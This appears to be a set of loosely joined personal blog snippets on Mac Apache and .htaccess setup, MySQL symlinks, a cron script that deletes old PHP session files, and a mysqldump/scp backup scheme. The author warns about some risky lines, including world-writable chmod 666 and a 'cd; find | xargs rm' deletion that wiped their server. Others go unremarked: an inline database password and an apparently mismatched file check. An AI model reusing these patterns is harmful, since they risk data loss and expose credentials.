1. change the httpd.conf file. This is located in etc/apache2/httpd.conf open it in something like nano

   sudo nano /etc/apache2/httpd.conf

   Find the section that looks like this

   <Directory />
       Options FollowSymLinks
       AllowOverride None
       Order deny,allow
       Deny from all
   </Directory>

   and change the AllowOverride None to AllowOverride All

2. Next up we need to change the conf file for the user that requires .htaccess. This is done by navigating to /etc/apache2/users/ and finding the file username.conf. This needs to be edited in something like nano again to look like this:

   <Directory "/Users/maxgarfinkel/Sites/">
       Options Indexes MultiViews FollowSymLinks
       AllowOverride All
       Order allow,deny
       Allow from all
   </Directory>
   

   It was the lack of FollowSymLinks that caused me to get Forbidden errors on the site.

3. Finally we need to create the .htaccess file in the sites folder and if you want wordpress to be able to write to it you should make it writeable by every one. This is bad so only do it on machine not exposed to the world! The command for that is

   chmod 666

   If anyone knows the safe permissions to allow wordpress to write to the .htaccess but not any tom dick or harry, lemme know!

So Instead of renaming the folder mysql-5.0.77-osx10.5-x86_32 to mysql you should create a symbolic link called mysql that points to the mysql-5.0.77-osx10.5-x86_32 folder. Further more you might run into problems if you use the folder mysql-5.0.77-osx10.5-x86_32 as this is the 32bit version. I had a version named mysql-5.1.35-osx10.5-x86_64 which is both a newer version and 64 bit. This is the reason for creating the symbolic link I guess, so you can keep multiple versions of mysql, nicely labeled and activate the one you need. Once I set this up everything was worked great.

WordPress › Support » Snow Leopard, Apache, PHP, MySQL and WordPress!.

• -a all files, write out all files with there size.
• -h human readable e.g. 100k or 2M or 3G, etc
• -s summarize, just the total.

e.g.

du -sh

would output the size of the current directory.

However this lead to another problem – the session files just seemed to get left on the server. As I understand it this is because the garbage collection mechanism in php won’t work if you change the folder where session files are stored.

The solution was in a little bit of BASH scripting. Basically the script is run by the cron tab at a sensible interval. When it runs it checks the directory specified and deletes anything older than the number of mins specified.

1
2

#! /bin/bash
cd /path/to/folder/; find -cmin +60 | xargs rm

A word of warning, make sure you get the path right. First time round I didn’t and it deleted EVERYTHING it could on my server. I lost all development work and a live site. So back up and use with caution. Still at least it proved my backup strategy works

Don’t forget to make the .sh file executable (744) did it for me.

I want to write properly about what I found out today but its a tad late so I save that for the next post. Just as a reminder to myself though remember you will need to cover regular expressions, using multiple rules to catch different variable arrangements, and the knock on problems of a rewrite rule – namely loading images, style sheets and javascripts.

Part one:

A script on the web-server dumps the database into a text-file, and then combines that with a copy of the website contents and creates a compressed archive. I rename the last archive, if it exists, and delete any older ones. This means I only ever keep 2 back-ups on the live server. This script is controlled by the cron tab.

Part two:

A script on my machine at home, again controlled by the cron tab, executes. This connects to the remote server, and downloads the archive via scp, naming the archive using the current date.

It’s a fairly low-tech solution, but its simple and it works for me. The only tricky bit was setting up passwordless ssh login so the script in part 2 could access the live server. It was a tad involved but I used the instructions here. Also don’t forget to make the script exicutable!

Script one (Sits on the remote server)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31

 
#! /bin/bash
#
#Variables
directory_to_backup="/dir/on/remote/server"
backup_name="/path/and/name/of/archive1.tar"
backup_old="/path/and/name/of/archive2.tar"
db="/path/and/name/of/database/archive.tar"
 
# If old backup exists remove it
if [ -e $backup_name ]
then
    if [ -e $backup_old ]
    then
        rm $backup_old
    fi
    mv $backup_name $backup_old
fi
# dump the DB
mysqldump -u yourDbUsername -pyourDbPassword -h databaseHostName databaseName > $db
 
# create archive
if [ -e dbbackup.sql ]
then
    tar -czvf $backup_name $directory_to_backup $db
else
    tar -czvf $backup_name $directory_to_backup
fi
 
#remove DB backup
rm $db

Script two (sits on backup server)

1
2
3
4

#! /bin/bash
filename=`date +%y.%m.%d.tar`
 
scp USERNAME@HOST.COM:/remote/file local/copy/$filename